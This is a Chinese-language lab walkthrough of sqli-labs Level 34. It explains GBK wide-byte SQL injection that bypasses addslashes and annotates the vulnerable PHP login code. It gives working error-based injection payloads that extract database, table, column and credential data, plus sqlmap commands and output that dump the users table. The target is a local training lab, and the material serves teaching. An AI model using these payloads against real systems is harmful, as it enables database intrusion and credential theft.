sqli-labs通关笔记-第34关POST宽字符注入(单引号闭合 手工注入+脚本注入两种方法)
目录
一、宽字符注入
二、源码分析
1、代码审计
2、SQL注入安全性分析
三、渗透实战
1、进入靶场
2、正确用户名密码探测
3、手动注入
(1)渗透准备
(2)获取数据库名
(3)获取表名
(4)获取列名
(5)获取数据
4、sqlmap渗透实战
SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第34关Less 34基于POST型宽字符的SQL注入关卡进行渗透实战。
一、宽字符注入
宽字节注入是一种利用数据库字符集转换安全风险的SQL注入技术,主要影响使用GBK、BIG5等多字节字符集的系统。其核心原理如下所示。
-
当系统使用addslashes或mysql_real_escape_string转义单引号时,会添加反斜杠(\')
-
在GBK编码中,%df%5c可组成一个合法汉字"運"
-
攻击者构造%df',转义后变为%df%5c%27,被解析为"運'"使单引号逃逸
二、源码分析
1、代码审计
本关卡Less34是基于宽字符型的SQL注入关卡,打开对应的源码index.php,如下所示。
Less34关卡的源码功能是登录页面,详细注释过的源码如下所示。
<?php
// 引入数据库连接配置文件
include("../sql-connections/sqli-connect.php");
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Less-34- Bypass Add SLASHES</title>
</head><body bgcolor="#000000"><!-- 页面顶部欢迎信息 --><div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br></div><!-- 登录表单区域 --><div align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;"><div style="padding-top:10px; font-size:15px;"><!-- POST表单,提交用户名和密码 --><form action="" name="form1" method="post"><div style="margin-top:15px; height:30px;">Username : <input type="text" name="uname" value=""/></div> <div>Password : <input type="text" name="passwd" value=""/></div></br><div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div></form></div></div><!-- 页面中部内容区域 --><div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center"><font size="3" color="#FFFF00"><center><br><br><br><img src="../images/Less-34.jpg" /></center><?php// 处理表单提交if (isset($_POST['uname']) && isset($_POST['passwd'])) {$uname1 = $_POST['uname']; // 原始用户名(未转义)$passwd1 = $_POST['passwd']; // 原始密码(未转义)// 记录用户输入到日志文件$fp = fopen('result.txt', 'a');fwrite($fp, 'User Name:' . $uname1);fwrite($fp, 'Password:' . $passwd1 . "\n");fclose($fp);// 使用addslashes转义特殊字符(单引号、双引号、反斜杠等)$uname = addslashes($uname1);$passwd = addslashes($passwd1);// 设置数据库字符集为gbk(关键风险点,可能引发宽字符注入)mysqli_query($con1, "SET NAMES gbk");// 构造SQL查询(拼接转义后的用户名和密码)@$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if ($row) { // 登录成功,显示用户信息echo "<br>";echo '<font color= "#FFFF00" font size = 4>';echo '<font size="3" color="#0000ff">';echo '<br>Your Login name:' . $row['username'];echo "<br>Your Password:" . $row['password'];echo "<br>";echo "</font>";echo "<br><br><img src=\"../images/flag.jpg\" />";echo "</font>";} else { // 登录失败,显示数据库错误信息(可用于注入回显)echo '<font color= "#0000ff" font size="3">';print_r(mysqli_error($con1)); // 暴露SQL错误,如语法错误echo "</br></br></br><img src=\"../images/slap.jpg\" />";echo "</font>"; }}?><!-- 页面底部提示:显示转义后的用户名和密码 --><br><br><br><font size='4' color= "#33FFFF"><?phpecho "Hint: The Username you input is escaped as : " . $uname . "<br>";echo "Hint: The Password you input is escaped as : " . $passwd . "<br>";?></font></font></div>
</body>
</html>
本关卡是一个登录页面,接收 POST 提交的用户名和密码,用 addslashes 转义后查询数据库,设置 gbk 字符集,存在宽字符注入风险,根本原因在于转义后的反斜杠与宽字符组合导致单引号逃逸,核心功能如下所示。
-
用户登录功能:
- 通过 POST 表单接收用户名(
uname
)和密码(passwd
)。 - 使用
addslashes()
函数转义输入中特殊字符(如单引号,双引号),防止常规 SQL 注入。
- 通过 POST 表单接收用户名(
- 数据库配置:显式设置字符集为
gbk
,为宽字符注入创造条件。 - 数据库报错信息回显:当 SQL 查询失败时,返回数据库错误信息(如语法错误),可用于注入攻击的错误提示。
- 调试提示:页面底部显示转义后字符串及其十六进制形式,方便观察
addslashes
的处理结果。 -
日志记录:将用户输入的原始用户名和密码记录到
result.txt
文件。
2、SQL注入安全性分析
本关卡具有宽字符注入风险,具体分析如下所示。
-
转义逻辑缺陷:
- 转义函数
check_addslashes()调用
addslashes将单引号'
转义为\'
(反斜杠 + 单引号),故而本关卡无法通过普通的单引号闭合进行SQL注入。 - 但当数据库字符集为
gbk
(或其他支持多字节字符的编码)时,反斜杠\
(ASCII 码为5C
)与后续字符可能组成一个宽字符,导致转义的单引号虽然被转义却仍然被“放掉”从而构成闭合。
- 转义函数
- 注入流程:
- 输入 payload:
%df'
(URL 编码为%df%27
)。 - 单引号转义后变为:
\'
URL 编码为%5C%27,%df'转移后变为了%df%5C%27
- 在gbk字符集中,%df%5C 被解析为一个宽字符,%27(单引号)被保留。
- 输入 payload:
三、渗透实战
1、进入靶场
进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。
http://192.168.59.1/sqli-labs
点击进入Page2,如下图红框所示。
其中第34关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。
http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap
点击上图红框的Less34关卡,进入到靶场的第34关卡宽字符POST型注入关,这是一个登录页面,需要输入用户名和密码,同时在页面下方提示HINT信息“Hint: The Query String you input is escaped as :The Query String you input in Hex becomes ”,具体如下所示。
http://192.168.59.1/sqli-labs/Less-34
2、正确用户名密码探测
输入用户名admin,密码mooyuan123456,bp开启抓包,具体如下所示。
点击登录,页面显示用户名和密码,说明登录成功,具体如下所示。
burpsuite抓包, 在burpsuite的历史记录中找到这个报文,抓包效果如下所示。
此时在报文request请求部分右键,选择copy to file并保存为sqli-labs34.txt,如下所示。
3、手动注入
(1)渗透准备
由于本关卡使用POST方法,为方便注入,将报文发送到repeater模块,具体如下所示。
(2)获取数据库名
如下所示,以密码为注入点进行渗透,数据库的名称为“security”。
admin%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1)--+
(3)获取表名
如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。
admin%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()),0x7e),1)--+
(4)获取列名
如下所示,数据库users表的列名分别为id,username,password。特别注意这里users表使用十六进制0x7573657273表示,因为'users'会被转义,此时渗透成功。
admin%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME=0x7573657273),0x7e),1)--+
(5)获取数据
最后通过上一步获取到的列名来提取users表的第一行的用户名和密码内容,这里符号:也被替换为0x3a,如下所示渗透成功。
admin%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM users LIMIT 0,1),0x7e),1)--+
4、sqlmap渗透实战
我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),其中-u参数指定目标URL地址,在uname=admin后面增加%df'的目标是指定闭合方式,星号*放在uname参数尾部则是指定注入点为id,完整的SQL注入命令如下所示。
sqlmap -r sqli-labs34.txt --current-db --dump --batch
其中sqli-labs17.txt中的注入点被修改为如下所示,pass参数后面增加了单引号星号,如下所示。
POST /sqli-labs/Less-34/ HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/sqli-labs/Less-34/
Cookie: PHPSESSID=c1aelaqu5bintkc8kn994g9q11
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 46uname=admin%df'*&passwd=mooyuan123456&submit=Submit
sqlmap渗透成功,可以通过报错法、时间盲注、联合注入方法渗透成功,具体信息如下所示。
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1006 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: uname=admin%df' AND GTID_SUBSET(CONCAT(0x7176627171,(SELECT (ELT(9459=9459,1))),0x7162717671),9459)-- LWVt&passwd=mooyuan123456&submit=SubmitType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=admin%df' AND (SELECT 7818 FROM (SELECT(SLEEP(5)))oBeG)-- qWCx&passwd=mooyuan123456&submit=SubmitType: UNION queryTitle: Generic UNION query (NULL) - 2 columnsPayload: uname=admin%df' UNION ALL SELECT CONCAT(0x7176627171,0x78694478624547686d46576e4e564e45786246636f744c48784f7571757a6d4f4950527951476174,0x7162717671),NULL-- -&passwd=mooyuan123456&submit=Submit
---
[01:13:08] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[01:13:08] [INFO] fetching current database
current database: 'security'Database: security
Table: users
[14 entries]
+----+---------------+----------------+
| id | password | username |
+----+---------------+----------------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | mooyuan123456 | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
| 15 | 123456 | admin'#mooyuan |
+----+---------------+----------------+